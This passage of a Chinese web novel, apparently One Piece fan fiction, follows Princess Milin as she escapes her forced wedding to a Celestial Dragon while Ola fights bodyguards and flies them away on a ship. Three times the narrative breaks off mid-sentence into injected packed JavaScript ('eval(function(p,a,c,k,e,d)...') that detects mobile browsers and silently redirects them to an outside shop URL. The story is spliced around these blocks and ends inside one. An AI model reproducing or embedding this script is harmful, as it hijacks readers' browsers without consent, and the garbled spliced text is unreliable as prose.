“你怎么敢把箭对准我?”皮伊堂姆圣蓦地睁大双眼,他根本不怕米琳会动手一样,不退反而向米琳逼近。“你知道我是谁吧,难道你要整个国家来承受你任性的后果吗?” 真的要这样做吗?国民很有可能会因为自己的举动被屠杀。 米琳也在问自己。 如果她现在收手的话,还有回头的余地。 在看到自己的过去被一一记录且被肆无忌惮的在全国展示时,她是有片刻眩晕的。一双看不见的大手不仅操纵着她的人生,也粗暴的撕开了遮挡在她原本世界的蓝天白云。 站在幕后的始作俑者得意洋洋,她在乎的子民匍匐在他的脚下,她爱护的父母默不作声。揭开伪装的幕布后,这些人的面部全部变得模糊不清。 这个世界是虚假的—— 那一瞬间,她曾产生这样的念头。 愤怒让她对自己的父亲拉开了弓箭。 可属于她自己的,她此生的教养和受到的教育却成了她的阻碍。 她无法杀死她的父亲,即便他欺骗了她,即便他有可能是假的。 所以她只能射下父亲的王冠。 她在努力反抗,她在发泄愤怒,她在感到恐慌。 由虚假组成的她还是她吗? 回看过往,自认为幸福快乐的人生竟不过是笼中鸟的沾沾自喜。她如何能心甘情愿的走向被安排好的命运,可笑的是,事到如今她居然还在退缩。 履行公主的使命,完成婚礼,大家都从中获得自己想要的东西,皆大欢喜。无论真实是什么,事情的走向都没有变化,她也似乎必须要这样做。 不然,迄今为止她的人生又算什么? 那是她的一部分,怎么抛的下,怎么能割舍? 直到她看到了奥拉明亮的眼睛,她的目光犹如黑暗中的明灯突然出现,照亮这荒唐的剧场。她好像在说她是真实的,她也曾出现在米琳虚假的过往里。那怎么能说米琳的人生是假的呢。 想要将米琳拉出虚假世界的手伸出了三次。 这次她要不要听从自己内心的真实呢? 米琳已经有了答案。 如果能活下去的话,她冲动的想要跟着奥拉去外面的世界。哪里都好,只要出去的话,只要离开这里的话…… “告诉我,究竟是怎么回事。” 米琳止住了自己的想法,她平静的和皮伊堂姆圣对视,架在弦上的箭矢离皮伊堂姆圣的胸膛仅一指的距离,半分没有因为对方的话而动摇。以米琳的能力,完全可以轻易杀死对方。 无论生与死,她都不想要自己继续像个被人随意操纵的金丝雀了,她要知道事情的始末,从这里开始她的人生也要由她自己掌控。 “不要以为我不会杀你!”皮伊堂姆圣这次是真的被米琳惹怒了,他抬起手就要朝着米琳射击。 可米琳哪会给他机会,她得速度太快了,快到现场所有人都没反应过来时,一根白色的羽箭已经穿过了皮伊堂姆圣的衣服,在他拿枪的手臂上划出一道长长的口子。他手松开枪掉到了地上,痛苦的弯下了腰:“啊!” “你居然敢……!!我要你们所有人都死……!” 说到一半皮伊堂姆圣的声音戛然而止,因为米琳的箭头这次穿过了他头顶的泡泡,气泡“啪”的破碎,新的监视已经瞄准了他额头。 这一刻他意识到他可能真的会被杀死。 “可恶!贱种!”他还在不遗余力的叫骂,旁侧的国王已经被这突然的变故吓晕了过去。王后跌坐在地上,根本没料想到会是这样的走势。她哆哆嗦嗦的开口,试图挽回一些局面。 “米、米琳你不要怪皮伊堂姆圣,是这位大人你才能活下来。”她斜眼看向不争气的丈夫,咬咬牙,干脆把所有事情都说了出来。 18年前,宝石之国埃尔维斯,前任国王在任时,曾有两位王储。 一位是现如今的国王埃尔维斯·阿咲斯,还有一位是当时的埃尔维斯第一大公主,埃尔维斯·阿琼斯。 她们是对龙凤胎姐弟,自幼作为姐姐的阿琼斯就十分优秀,虽是如此弟弟阿咲斯的光芒也未被掩盖,只不过相比姐姐出色的战力和优越的头脑,阿咲斯更多是在艺术领域大放光彩。 这在靠着出口宝石工艺品生活的国家是个极好的天赋。 然而弟弟并不满足。 像是所有俗套的王室故事一样,手足相残。阿咲斯对自己的亲姐姐出手了,趁她诞下子嗣虚弱时设计杀死了她的丈夫,谎称对方是出海遇到了意外。 不过姐姐阿琼斯虽对丈夫的死感到悲伤,但并未一蹶不振。反而花费更多的时间到处理政务上。 让老国王对她十分满意,没过多久便下令封姐姐阿琼斯为下一任继承人。 弟弟阿咲斯认为老国王太偏心,可他没有办法,比起自己的姐姐,他既没有名正言顺的地位,也没有可以信得过的人脉。 日子就这么一天天过下去,直到世界会议召开。为长眼界,这次老国王带上了她们姐弟俩。 开会期间,她们这些随行的人可以自由在附近活动。转机这就送到了弟弟阿咲斯的面前。 姐姐因为出色的容貌被世界贵族天龙人盯上了,他太了解姐姐的性格,所以在天龙人纠缠时,他冲上去假意阻拦彻底惹恼了这些脾气不好的大人物。 老国王会议结束回来后,立刻受到了世界政府的问责。天龙人要他在姐姐阿琼斯和弟弟阿咲斯间二选一,只有一个可以回国,另外一个留下来当做赔礼。 老国王纠结过后不容置疑的选择了弟弟阿咲斯。 作为父亲,他无法做出这样与割肉无异的行径。 可作为国王,他知道谁继承王位对国家更好。 权衡利弊下,他只能放弃弟弟阿咲斯。 阿咲斯早就有所预料,但当事情尘埃落定时他还是无法控制的愤怒,憎恨。 他明明也是父亲的孩子,为什么第一个被抛弃的必须是他! 好在他足够了解自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他还制定了严苛的法律,不论是外地人还是本地人胆敢违抗他的都扔去矿区。这些人痛不痛苦无所谓,他只要让她们臣服自己。 恐惧是一个很好的政治手段。 他在宫殿里装满了电话虫,有时是直播有时是录播,让远在玛丽乔亚的皮伊堂姆圣一家人可以实时掌控米琳。按照她们的心意去改造米琳。 这真的很有意思。 天龙人们很喜欢,源源不断的金钱、资源、奴隶送到了埃尔维斯。 人们都说自从新任国王上台,这个国家更强大了,国内更和谐了,日子过得更好了。 牺牲一个人能让所有人都过得好,那为什么不这样做呢? 他的追随者越来越多。多到他可以骄傲的对着姐姐和父亲的遗照大笑:“看啊,我是个优秀的国王。” 能说的不能说的王后都说了出来。 所有的过错都推到了做决策的国王身上,明明她也是参与其中的人,随意玩弄别人人生的人,这时却还能红着眼眶,正义凛然的样子:“米琳,都是皮伊堂姆圣你才能活下来。要不然,你一个失去母亲的前继承人子嗣,怎么可能得优秀的资源来帮助你长大?” “没错!米琳,我可是你的恩人!” 皮伊堂姆圣也跟着叫嚷。 米琳只是淡淡的看了她们一眼:“我和姑……母亲长得像吗?” 她拉着弦的手放松,那危险的箭头终于离开了皮伊堂姆圣的胸膛。 见状王后和皮伊堂姆圣都松了口气。 皮伊堂姆圣下意识的把米琳从上到下打量了下:“你和阿琼斯挺像的……就是你这脾气……”他语气挑剔,像是在回忆阿琼斯半响后他干巴巴道:“倒也挺像的……” “是吗?” 得到答案后米琳笑了。 皮伊堂姆圣被她得笑容晃了一下,恍惚间似乎透过她的笑脸看到了另外一个女人,她们的眼里都燃烧着某种东西……可他还没体会出那是什么,米琳忽然移开了视线。 她转过身,在不做停留毅然决然的离开了皮伊堂姆圣的身边。 她踢掉碍事的高跟鞋,提起碍事的婚纱,用箭矢锋利的头撕烂碍事的拖尾。 一身轻松的跑向路的尽头。 31.埃尔维斯END “安琪儿——!!可恶,给我回来!!” 皮伊堂姆圣反应过来,原地跳起挥舞着手臂叫嚣着要杀了所有人的话。 可这次,米琳没有再停留。 眼见米琳丝毫没有回头的打算,他气急败坏的大叫了两声。皮伊堂姆圣觉得自己这辈子没受过的气,都在埃尔维斯受完了。 气极间他也不在意是否和贱民们呼吸同一片污浊的空气了,也不在意是否亲脚踩在肮脏的下届土地了。捡起自己的枪撒开腿,就追着米琳的背影就跑了出去。 “皮伊堂姆圣!” 连这里最高贵的人都动起来了,王后哪还敢留在原地。她原还想伸手阻止,可皮伊堂姆圣连看都没看她一眼。这让她原本维持在脸上的温婉面具彻底碎裂,她气愤的用力跺脚,快步走过去扶着国王的肩膀一阵摇晃。 “……快点起来,出大事了!!” 国王非但没有被摇醒,而且他头上原本金灿灿的象征着皇室血脉的长发,居然在这阵摆动中勾住了王后的指甲,被王后一个用力拉扯了下去。 紧接着一颗头顶锃亮,只在两边留有稀疏发丝的脑袋忽的出现在众人面前。 王后:…… 暗中观察的民众:…… 王后胡乱把假发按回了国王的头上,手中动作慌乱不小心把假发位置摆歪,头发糊了国王一脸。她嘘咳一声不再去看国王,脸色一转对着还呆呆跪拜的民众就是一顿训斥。 “赶紧去追!一会儿人跑了,埃尔维斯所有人都得死,快去抓住她!” 除了被奥拉放反播放风景的那只电话虫,其余映像电话虫完完整整的把婚礼中心的动乱播放了出来。不过话筒在皮伊堂姆圣手里,没人知道她们具体讨论了什么。 就见屏幕里的公主殿下居然对天龙人动手了! 这已经够让人吃惊的了,没想到她在动完手后竟抛下自己的未婚夫——逃!婚!了! “可恶!快解决掉她,回大人身边去!” 远处的变故自然也被转播到了黑西装保镖们的眼前,奥拉被他们围在中间,经过几轮攻击下来,身上多出不少伤口,可她此时却感到了无比的畅快。甚至没忍住笑出了声:“哈哈!” 可紧接着一种紧迫感很快将她包围。 她一改防守找机会逃跑的策略,持着刀主动迎上了保镖的攻击。 她的招式朴实无华,懂刀的人一眼便能看出,这不过是最基础的劈砍撩刺,没什么特别的组合技。 然而她却能凭靠这种新手学徒都会的刀法抗下一轮又一轮不同的杀招。现如今再出手时,更是将其刀法的扎实展现的淋漓尽致。 她主要攻向眼前最近的保镖,刚刚就是他用拳头逼停了她。 见奥拉主动送死,拳头保镖面露不屑,他直直挥拳。在她身后,数个持枪的保镖接连开火,呈现出前后包夹的势头。奥拉的左右更是围着手持不同武器的保镖,他们伺机而动挡掉奥拉的退路。 人数太多,实力也都不弱。奥拉没有把他们全部打败的信心,逃出包围圈或许比较麻烦但却是脱身最快的办法,等跑到港口,上了船保镖们想追也追不上了。——她原本是这样想的,可现在她不能就这样离开了。 如果她跑了说不定米琳会被天龙人的保镖拦截,她不能看着这种事情发生。毕竟米琳已经做出选择了,那她这个未来的船长至少也要帮自家船员扫清前路的障碍才行啊。 ……别怕,能做的话就要去做。她呼吸微沉,感受着心脏逐渐变快的频率。 奥拉虽然在这四年里成长了很多,可她更多的时间是泡在争霸日志里,在现实中可没怎么砍过人。顶多是抓过几只野兽加餐。 不知道砍过多少人之后,才不会再为此紧张呢。奥拉也不知道这种心态对她来说到底是好事还是坏事。 奥拉再次压低身子,躲过保镖的拳头。这次保镖也早有准备,迅速改变拳路朝着奥拉面部攻去。奥拉丝毫不急,顺势仰躺在地,刀身擦着保镖的手臂往反方向直直刺向他的脖子。 保镖后退躲避,子弹接踵而至。 奥拉不但不躲还对着保镖咧嘴一笑,接着她腰腹发力,一记断子绝孙脚由下至上准确无误的踢到目的地。 保镖:!! “啊!!卑鄙……!!” 命根子受到致命伤害,保镖无暇顾及奥拉,捂着它就窝下身子。 这时奥拉已从保镖腿下穿过,借保镖的身躯来给自己挡子弹。 目睹全程的其余男保镖们全部□□一紧,有的下意识停止攻击捂紧关键部位,有的子弹射歪了角度,没有一发打到了原本的轨迹上。 “一群废物!” 原本守在侧边的持剑保镖一边斥责这些不靠谱的同事,一边拔剑冲向奥拉。 奥拉手抓身前充当肉盾的男保镖的外衣,翻身一跃便踩到了男保镖的背上。她向前跨步脚踩上男保镖的后脑勺,一手持刀接下一击。 这一击太重,差点把她的刀振飞,她皱眉,当即放弃正面对抗,顺势转动刀身卸掉持剑保镖剑的力道,引导它砍向身下的男保镖。 男保镖此时已经缓过劲来,他怒喝一声挺起腰背,把奥拉从身上撵下去。然而,就是这突兀的变动,让他直接撞上了持剑保镖被强行改变轨迹的剑招。 瞬间,他的左肩被砍开一道口子。 持剑保镖咬牙:“!……就知道躲,你给我下来!敢不敢堂堂正正和我比一把!” 奥拉看了他一眼,嘲讽道:“和海贼谈堂堂正正吗?” 不过话虽是这样说,奥拉还是停止了逃窜,因为她已经顺利逃出了包围圈。 一人持刀与一群黑衣人对峙。 见奥拉居然真的没跑,持剑保镖暗暗讽刺:真是蠢货! 不用任何人下令,已经调整好状态的射击手们对准奥拉连续射击。 面朝着数十发子弹,奥拉吐出一口气,眼神微凛,身影猛的窜出。枪林弹雨兜头袭来,在如此近的距离,即便她已经观察到走势也很难完全避开。可奥拉脚步未有停顿,仅仅避开要害位置,闷头直冲。 持剑保镖一愣,很快回过神。 这时奥拉也已逼近到持剑保镖的身前。 “!” 持剑保镖对奥拉的速度十分讶异,他迅速格挡。 可奥拉向后蓄力的手忽然转变方向,整个人向后跳退,长刀脱手绕着持剑保镖在空中画出半圆,绕到了持剑保镖的身后。奥拉紧跟其后,从侧边逼近,在佩刀甩出包围圈前手握住刀柄。 她顺刀旋转的方向扭转身体,又立刻松手,将长刀用力掷出。 “噗呲——!” 长刀没入了某个躲在后面射击的射击手体内。 “快拦住她!” 持剑保镖意识到奥拉要做什么后,急忙追上。 但战场中片刻的疏忽就会使既定的胜利出现偏移。奥拉身影诡谲,她拔出插入敌人身体的刀。飞快拉近与其他射击手的位置。 子弹从她的额头擦过,甚至穿过她的侧腹,击中她的肩膀。不过几秒,她已全身浴血。 可她非但不避,也好似没有痛觉般。挥手平斩,刀身砍进枪管,刀被卡住,她就收刀绕首压低重心,趁其无法开枪一击斩在其腰腹。 几次利落的进攻顺利的使射击手们失去战斗能力。 黑衣保镖们不给奥拉留喘息的时间,凌厉的拳头砸到奥拉的肩膀,直接将奥拉撞飞进了居民房里。飞腾的烟雾刚起,又一铁质流星锤不甘落后的跟着杀入了烟雾中。 里面的奥拉一时没了动静。 保镖们屏息凝神。确认烟内奥拉没有其他动作后,扔出流星锤的那位保镖得意扬起唇角,慢悠悠拉着锁链收回流星锤。 可就在这时,他察觉到了不对。流星锤的重量似乎变了。他面色大变:“她还……” 他话未说完,那原本牵在流星锤上的锁链忽然绷直,又极快的瘫软在地上。 随着烟雾逐渐散去,那枚流星锤赫然出现在保镖们眼前,正以极快的速度冲向他们。 保镖们大惊失色,快速躲避。 持剑保镖青筋暴起:“小心那女人!” 奥拉的身影几乎与他的提醒同时出现,神不知鬼不觉间长刀斜斜斩过。 出奇的是,她不带任何杀意,如微风拂面般轻柔,可却让挡在她身前的人尽数倒在了她的刀下。 原本人数占上风的保镖们人数锐减了将近一半。他们最开始的小觑消失了,转而变成了种看着同伴一个个倒下,感觉即将轮到自己的紧张。 可以远程进攻的都已被奥拉撂倒,现在剩下的就只能近身作战了。 拳头保镖率先进攻,朝着奥拉冲刺,拳头如雨点般落下。 奥拉此时身形摇晃,趔趄了几下才勉强站稳。眼看已经快要到极限了,可她还是没逃。 这次没有任何的计谋,她咬住牙关,刀尖冲前,横刀半蹲蓄力。在拳头保镖逼近时,脸上硬挨一拳,身上半点不偏接下正面攻击,腿上发力稳住身子,接着双手攥紧,小臂肌肉在控制下膨起将剑刃送出,狠狠插入拳头保镖的腹部。 奥拉眼疾手快抬脚碾在拳头保镖伤口附近,吸气猛拔。 血液喷了满脸,已经分不清哪些是奥拉的,哪些是敌人的了。 她已经完全成了个血人,手脚的颤抖连作为敌人的保镖们都能看出来,她已经是强弩之末。可这时却没人赶轻易上前。 奥拉向前走一步,他们便向后退一步。 她站在满地哀嚎的人群中,满身被染成红色,似是燃烧的火焰。浑身污垢中唯有一双眼睛尤其的亮,锁住她身前的敌人们。 犹如追魂的恶鬼,似乎永远也不会倒下,阴魂不散。 ……身上好疼。 保镖们判断的没错,奥拉已经快要站不稳了,她眼前被额上滴落的血液遮挡,视线有些模糊,她没有第一时间去确认米琳的情况,而是目不斜视的盯着前方。 疼痛以外,某种无法言说的感觉在战斗中逐渐充斥大脑。 她深呼吸想要努力稳住已经开始颤抖的身体。 真刀真枪的拼杀没有奥拉以为的那样难以接受,在最初的紧张退却后,紧紧跟在后面的是如擂鼓般的心跳,战斗以外的事情无法再去考虑。 直至现在有了喘口气的时间,头脑开始冷却下来,奥拉先感觉到的竟然不是恐惧…… 她利刃高举头顶,持刀转换招式。 在刀身银白的,沾着些许红色的反射中,她的眼睛里被红色点燃,正奋力燃烧着一种连本人都无法理解的兴奋情绪。 就这样继续战斗。 她顺应自己此时的想法,冲了上去。 “啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!!” 可还没等奥拉再次陷入厮杀,城镇的天空上蓦地响起一阵惨烈的尖叫。 穿透云层,也刺过奥拉发胀的大脑,让她堪堪维持住了理智。 屋檐下的人群在轰隆隆的声音下转身逃窜,像是被驱赶的羊群,被撵回王宫的方向。 奥拉寻声过去,就见一艘和屋檐差不多高的船正在陆地上迅猛行驶。 嗯? 船?! 被拉走注意力的不止奥拉,保镖们皆是张大了嘴。 “那是什么!!!” “奥……奥……奥拉!!!我来了,快让她把……把刀移开……!!!” 人未至声先到,可被呼唤的奥拉并不知道发生了什么。 直到她看见驶进的船上,普鲁伊特大叫着,明明被挡住了脸,却似乎透过遮挡物能看到他泪流满面的神情。他身侧,一个浑身由蓝色组成的小人影,用把同样蓝色的刀抵在普鲁伊特的脖颈上。 更准确的说是,已经刺进入了一部分。 奥拉回想起来,她好像是让古伊娜看着普鲁伊特来接她来着……只不过她是让普鲁伊特在海上,不是陆地上啊——!! 她的震惊不比其他人少,露出了保镖们同款表情——这船怎么跑到陆地上来的,是坦克吗?!! 普鲁伊特这一打岔,完全剿灭了奥拉想要继续战斗下去的冲动。她不再恋战,趁保镖们不注意小跑两步,从屋檐跳入路过的大船中。半跪着落到了甲板上。 几乎同时,接到奥拉的任务完成,古伊娜转眼消失,化作小珠子,在她落地前被奥拉伸手接住。 奥拉松了口气,指腹摩挲了两下圆润的球体,默默道:辛苦了,谢谢你,古伊娜。 接着她看向普鲁伊特。 这小子已经被吓破胆了,完全没意识到古伊娜已经不在他身边了。依旧大喊着:“……奥拉……!!” 奥拉扶额,这确实是她的问题……骗她的事后面就一笔勾销好了…… 奥拉上前轻拍普鲁伊特的肩膀,想让他放松点。谁知普鲁伊特忽然浑身一顿,接着忽然发了狠,重重捶在船舵上。 船身随之发生剧烈的震动。 “咔嚓咔嚓”后,船身外两侧板子升起,由木头组成的骨架缓缓伸出来,强横的穿进两侧的房屋内,左右两侧各留下一道被破坏的长线。有的脆弱的屋子甚至直接坍塌了下去。 “啊啊啊啊啊,不管了!!!我要走了!!!” 普鲁伊特崩溃大叫,双手拉着船舵猛然蹲下,看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070007|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来真的被古伊娜吓得不清。 如此大力那船舵居然没有被拉坏,而是跟着普鲁伊特的力度向前,十分柔韧。 “咔哒”声响后,船舵像是被固定在某个卡扣上。 这个操作奥拉越看越眼熟,她看到了船身外巨大骨架上的布料,不知道是什么材质居然完全没被建筑材料割坏,那整个形状像是一个巨大的翅膀正在等待煽动起飞,奥拉沉默了片刻:……这个船不能会飞吧? 下一秒,奥拉的猜测成真了。 这艘船的船头抬起了小小的角度,仅这一点抬头便让甲板上开始倾斜。 奥拉反应迅速,抓住船舵才没让自己滑下去。眼里的震惊已经遮不住了。 这还是船吗? 海陆空三栖的啊?! 不过,现在不是说这些的时候。 奥拉焦急的推了推普鲁伊特:“普鲁,米琳还没上来!” 普鲁伊特抓住船舵木杆上系着的绳子,固定好身子。听到奥拉的声音欲哭无泪:“咱们快走吧!这里可还有天龙人!和天龙人作对是会死的!” 奥拉不言,她同样拉起木杆上多出来的绳子,扭身往船边跑。 “你要干什么?你自己要去送死的话,不准再把那个蓝色的怪物放出来了!” 奥拉剜了一眼普鲁伊特,后者立刻抱紧弱小的自己。 奥拉把绳子在手上缠了一圈又一圈:“我去接米琳。”她确认绳子长度后,站上船舷,往下看去,此时整艘船都已经腾空了。她深呼口气,跳下去前严肃纠正道:“她是我的朋友,不是怪物。” 这指的便是古伊娜了。 “喂!——靠,真跳了,疯子吧!!” 回应普鲁伊特叫喊的,是奥拉被风吹起衣服发出的猎猎声。 船舷上已经不见奥拉的身影了。 悬挂在半空,奥拉一双眼睛极力寻找着米琳的身影。 她穿过人群的惊呼、恐惧与恨意。 终于在一堆拥挤的人墙后发现了抹灿金的身影。 此时船已升高到了房檐的高度,两侧的翅膀完全张开了,扫平了大部分翅膀范围内的房屋,但还没有像鸟儿一样扑扇的征兆。 不知道船什么时候会完全升起,要尽快才行。 奥拉估量了下到地面的距离,松手放掉全部的绳子,任由身体极速坠落,在彻底掉下去前抓住绳子的末尾。 如果在这里接不上米琳的话,那船就要彻底飞走了。 “米琳——!!” “抓住我——!!” 被拦住的米琳愣怔抬头,她听话的高举双手。 皮伊堂姆圣喘着粗气勉强追上被挡住的米琳:“给我抓住她!!” 她的子民们可不会轻易放她走。接到命令后一双双手如毒蛇般缠绕上米琳的身躯,拽住她的衣服,手臂肩膀,压着她无法动弹。 “米琳——你能去哪?即便你走了,我也会找到你!你是我的东西!谁敢偷我的东西,我就把谁杀了!!” 闻言米琳举着的手稍稍蜷缩。 她一定要走,哪怕是死也不会留下来。 可是,奥拉能为她接得住世界贵族的怒火吗?她忽然回过神,她似乎给了这个刚认识不久的朋友太大的压力。 米琳心中犹豫,举着的手正要收回。 “啪——!” 她的手中多了股温热的力量。 她下意识的看过去,奥拉也正在看她。 “米琳,我抓住你了!” 她奋力一拽:“我们走!” 奥拉自己的力量很难把米琳带出人堆,可是整艘船的力量就不同了。 民众的手留下了米琳身上的婚纱碎片,留下了米琳婚纱上的宝石,留下了米琳的水晶高跟鞋,就是没能留下米琳这个人。 皮伊堂姆圣眼看着米琳在自己面前飞走,气的冲进了人群里,让这些贱民把他举起来。 竟真让他踩在人组成的桥上,跳起来抓住了米琳的脚踝。 “皮伊堂姆圣!!” 下面的人在呼唤。 呼呼的风声将他们的声音全部压了下去,这艘船起飞了。 当船飞的平稳以后,奥拉先是看了眼坠在最后的皮伊堂姆。没有立刻甩掉这个麻烦而是冲着船上大喊:“普鲁,接我上去!” 不出所料,半天没有回应。 奥拉叹气:“我朋友可还在船上,你想见她吗?” 还是这句话管用,绳子立刻被拽动。 奥拉、米琳、皮伊堂姆接连安全到达甲板。 “喂,这艘船真不错,归我了!”刚登上甲板的皮伊堂姆面色阴沉,手指划过包含除他以外在场的其余三人:“你们都给我回去当我的奴隶!” 奥拉:这人在做什么梦。 米琳对自己身上的衣服稍作整理,这原本洁白的婚纱上现如今沾满了灰尘,长长的拖尾和裙身都消失了,缩短到了米琳的小腿,她光着脚,看起来却一点不狼狈。 衣服规整后,米琳对着奥拉微微欠身。接着她伸直手臂,抡圆二话不说就朝着皮伊堂姆的脸扇过去。皮伊堂姆哪能想到米琳敢打他,完全没有防备,就这么被扇飞了。 连奥拉都被惊到了:“哇哦。” “可别误会了……”米琳扫了眼浑身是血的奥拉,顿了顿,微微垂下头,“如果想发泄你的怒火,就尽管来吧,我随时恭候。” 奥拉察觉到了些不对“米琳……?” 米琳仰起头一如从前的骄傲:“……奥拉阁下,我无需你来承担由我引发事情的后果,如你所见我可以自己解决。” “感谢你的帮助,奥拉……” 米琳很强,无论是身手还是心智,都毋庸置疑。 奥拉明白了她的意思。 但不代表她要顺着米琳的话去做。 奥拉走到了皮伊堂姆圣的身边,徒手抓起他的衣领。自天龙人上船就保持安静的普鲁伊特睁大了眼,不解、困惑随之欲出。 “奥拉!” 第一个阻止奥拉的居然是米琳。 皮伊堂姆圣四肢挣扎,怒不可遏:“你、贱民!我不会放过你!你知道我是谁吗?!” 奥拉置若罔闻,她头也没回,语气理所当然。 “米琳,解决船员的麻烦是船长的责任。” “不是已经答应我了吗,要和我一起去大海。” “那这个束缚你的锁链,交给我就好……” 她话音刚落,就将皮伊堂姆圣甩出了高空航行的船只。 米琳:“!” 普鲁伊特:“!” 皮伊堂姆:“?” 32.痛失全部财产 普鲁伊特率先从震惊里回过神,他两三步跑到船边双手撑着船舷向外寻找天龙人的踪迹,看到那高贵的天龙人直直掉入大海里,目光粘在了四周溅起的水花上,久久无言。 米琳也没有想到奥拉居然会为了她做到这种程度,一时怔在了原地。 唯有亲自动手的奥拉非常镇定,将天龙人扔出船后便没在动过,背对着两个人看不出情绪。 直到“咚”的一声打破了此时船上的沉默。 毫无预兆的,奥拉直挺挺的倒在了地上。 米琳见状加快几步走到奥拉身旁,想要查看奥拉的情况,可看着被血染红的人,她着实无从下手,双手僵在空中有些手足无措:“奥、奥拉阁下,难道...死...死了吗?” “怎么可能...”话虽如此,普鲁伊特还是凑到了奥拉身边,屏气伸手,食指颤颤巍巍的放到奥拉的鼻腔下,感受到一丝微弱的气流后,微不可察的松了口气,朝着米琳点点头。 米琳不敢相信这个结果,她满是惊愕:“死...了...?!” “我是说她还活着!”普鲁伊特边说边抱起奥拉:“麻烦公主殿下让一让,再不管她,她估计真要流血死了!” 米琳连忙退到一旁:“普鲁阁下就拜托你了。” 普鲁伊特头也不回:“都说了不是普鲁·伊特是普鲁伊特!” 舱门在普鲁伊特的有意为之下重重合上,独留米琳一人在甲板上等待。 她苍白的脸上忧色不减,薄唇微抿。盯着舱门看了半响后没有立刻跟着进入,而是转头看向船外同行的蓝天白云。 稍稍偏移些位置,从船上还能看见那个熟悉岛屿的小小虚影。 须臾后,她闭了闭眼,长长的叹出了口气,似是要将那些复杂的、厚重的情绪全部排出体外。然后推门走进了船舱。 奥拉身上看起来吓人,实际伤的一点也不轻。 米琳帮忙擦去奥拉身上已经变干的血液,普鲁伊特负责取出弹头和缝合伤口。他动作娴熟,没过多久奥拉身上的伤就全部处理好了。 见奥拉呼吸平稳,身上伤口不再向外渗血,米琳在那些缝的歪歪扭扭的线上,和缠的鼓鼓囊囊的绷带上停留半刻,并没觉得有什么不对,转头对普鲁伊特发出真挚的夸赞:“多亏了你,普鲁阁下,原来你还是名医生啊。” “……我不是,碰巧会一些而已。”普鲁伊特扯了扯帽檐,他也不想在医生这个事情上过多讨论,头发下被盖住的眼睛转了圈:“你们后面打算怎么办?” “那毕竟是天龙人。”他用手指朝着天空戳了戳,“她们可是神的后裔,绝对会有大批人来抓捕你们的。” 米琳听他谈起这件事,原本整理好的心情也有些沉重。不过,她没有表现出来,嘴边依然挂着浅笑:“啊……我们?普鲁阁下,你不也是我们的一员吗?” “我可不是!”普鲁伊特立刻否定,转而又觉得自己语气太硬,强压着嗓子逼出些哽咽的意味,“我只是一个被挟持的可怜商人罢了。” 米琳脸上笑意不变。 “可是开船来接我们的是普鲁阁下吧,不知道有多少人看见了呢?” 普鲁伊特浑身一僵。 米琳还没有停下。 “若你真是被挟持的……那也要等船长醒了再决定你的去留呢。” 普鲁伊特大惊失色:“这可是我的船!” 米琳歪了歪头:“可我们是海贼。” 她说的坦坦荡荡,只是在叙述事实。堵的普鲁伊特哑口无言。 是了,要是奥拉想要强占这艘船根本不需要经过普鲁伊特的同意。 坏事做多了是会遭报应的,普鲁伊特已经开始后悔为什么要去招惹奥拉了。但事情已经过去,他也不可能改变过去已经发生的事情,只能自己吃了这个哑巴亏。 最后他也只能嘴硬道:“反正我不会和我的船分开。” 米琳眼里闪过丝讶异,这时普鲁伊特的态度不像是她印象里巧舌如簧的大商人,倒像是个守着心爱玩具的孩子般。她把这个奇怪的想法抛到脑后,顺着普鲁伊特的话说了下去:“嗯嗯这样也不错,普鲁阁下这不就是加入我们了吗。” 普鲁伊特双眼无神:公主殿下原来是这种性格吗?而且这家伙适应新身份的速度是不是有点太快了啊——! 米琳轻巧的掀过先前的话题:“普鲁阁下,船上有可以换洗的衣服吗?” “有啊——” 让商人最快恢复精力的事情是什么?那一定是卖出去自己的商品,往多了卖,往贵了卖! 普鲁伊特双手交叠搓了搓:“有很多漂亮的衣服哦~就是价格嘛……” “价格不是问题。”米琳从身上找了圈,利落的揪掉婚纱上还幸存的宝石,“这个应该够了吧。” “不过太漂亮就不用了……可以让我自己挑一下吗?” 回到商人和客人的位置上,普鲁伊特就舒心多了,自然没有不应的。他做了个请的手势:“请跟我来,公主殿下。” 两人前后离开,床舱里重归平静,只有奥拉细弱的呼吸声。 当奥拉醒来时船舱内一片漆黑,她眨了眨眼,等待视线适应黑暗,随着她清醒紧跟其后的是全身无法忽视的酸痛。 她感觉自己整个人都快要散架了,动了动手脚,确保自己还能自由活动后她叫出了系统。 “系统,这次事件也会被记录到争霸日志里吗?” “会的宿主。” 奥拉闻言点在系统界面上,打开争霸日志,扫了眼上面还是只有【1.为绝望填充愤怒的炮火,勇气是人类的赞歌。通过等级2星。】 她有些奇怪:“可是还没收录。” 按照之前的经验,她记得是在逃离鬣狗海贼团后很快激活了系统,同时收录了争霸日志。可从她醒来到现在,系统并没有通知她新的收录信息。 系统:“事件正在结算中,结算完成后会完成事件收录,请宿主耐心等待哦~” 奥拉有种不好的预感:“...大概还要多久?” “这个不确定呢。” 奥拉:...又是这种不靠谱的感觉。 她咬牙:“埃尔维斯的事情难道还没有完全结束吗?” “这是有可能的。” “宿主,任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 